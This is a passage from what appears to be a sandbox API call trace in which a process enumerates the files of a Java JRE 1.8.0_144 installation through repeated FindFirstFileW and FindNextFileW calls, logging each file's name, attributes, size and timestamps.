lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="ktab.exe", cAlternateFileName="")) returned 1 [0071.281] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39040, dwReserved0=0x0, dwReserved1=0x0, cFileName="lcms.dll", cAlternateFileName="")) returned 1 [0071.281] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9040, dwReserved0=0x0, dwReserved1=0x0, cFileName="management.dll", cAlternateFileName="MANAGE~1.DLL")) returned 1 [0071.282] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9fa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="mlib_image.dll", cAlternateFileName="MLIB_I~1.DLL")) returned 1 [0071.282] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa12a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0071.282] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xca750, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0071.282] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0071.282] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="net.dll", cAlternateFileName="")) returned 1 [0071.282] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xec40, dwReserved0=0x0, dwReserved1=0x0, cFileName="nio.dll", cAlternateFileName="")) returned 1 [0071.282] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="npt.dll", cAlternateFileName="")) returned 1 [0071.282] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="orbd.exe", cAlternateFileName="")) returned 1 [0071.283] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="pack200.exe", cAlternateFileName="")) returned 1 [0071.283] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin2", cAlternateFileName="")) returned 1 [0071.283] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1 [0071.283] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe040, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism_common.dll", cAlternateFileName="PRISM_~1.DLL")) returned 1 [0071.283] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1fe40, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism_d3d.dll", cAlternateFileName="PRISM_~2.DLL")) returned 1 [0071.284] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism_sw.dll", cAlternateFileName="")) returned 1 [0071.284] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.dll", cAlternateFileName="")) returned 1 [0071.284] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="rmid.exe", cAlternateFileName="")) returned 1 [0071.284] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8af971e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="rmiregistry.exe", cAlternateFileName="RMIREG~1.EXE")) returned 1 [0071.284] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="server", cAlternateFileName="")) returned 1 [0071.284] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1 [0071.284] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32040, dwReserved0=0x0, dwReserved1=0x0, cFileName="splashscreen.dll", cAlternateFileName="SPLASH~1.DLL")) returned 1 [0071.285] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8ba40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssv.dll", cAlternateFileName="")) returned 1 [0071.285] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssvagent.exe", cAlternateFileName="")) returned 1 [0071.285] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21240, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunec.dll", cAlternateFileName="")) returned 1 [0071.285] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunmscapi.dll", cAlternateFileName="SUNMSC~1.DLL")) returned 1 [0071.285] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e440, dwReserved0=0x0, dwReserved1=0x0, cFileName="t2k.dll", cAlternateFileName="")) returned 1 [0071.285] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="tnameserv.exe", cAlternateFileName="TNAMES~1.EXE")) returned 1 [0071.285] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13840, dwReserved0=0x0, dwReserved1=0x0, cFileName="unpack.dll", cAlternateFileName="")) returned 1 [0071.285] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x30240, dwReserved0=0x0, dwReserved1=0x0, cFileName="unpack200.exe", cAlternateFileName="UNPACK~1.EXE")) returned 1 [0071.286] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc040, dwReserved0=0x0, dwReserved1=0x0, cFileName="verify.dll", cAlternateFileName="")) returned 1 [0071.286] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="w2k_lsa_auth.dll", cAlternateFileName="W2K_LS~1.DLL")) returned 1 [0071.286] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1ae40, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAccessBridge-64.dll", cAlternateFileName="WINDOW~1.DLL")) returned 1 [0071.286] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2f040, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsdetect.dll", cAlternateFileName="")) returned 1 [0071.286] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13040, dwReserved0=0x0, dwReserved1=0x0, cFileName="zip.dll", cAlternateFileName="")) returned 1 [0071.286] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0071.286] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0071.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c760) returned 1 [0071.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c720) returned 1 [0071.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c820) returned 1 [0071.287] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin", nBufferLength=0x105, lpBuffer=0x1f49c2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin", lpFilePart=0x0) returned 0x26 [0071.287] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\*", lpFindFileData=0x1f49c540 | out: lpFindFileData=0x1f49c540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0071.287] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.287] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x172440, dwReserved0=0x0, dwReserved1=0x0, cFileName="awt.dll", cAlternateFileName="")) returned 1 [0071.287] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bci.dll", cAlternateFileName="")) returned 1 [0071.287] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="dcpr.dll", cAlternateFileName="")) returned 1 [0071.287] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15040, dwReserved0=0x0, dwReserved1=0x0, cFileName="decora_sse.dll", cAlternateFileName="DECORA~1.DLL")) returned 1 [0071.288] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8f840, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.dll", cAlternateFileName="")) returned 1 [0071.288] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dtplugin", cAlternateFileName="")) returned 1 [0071.288] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, 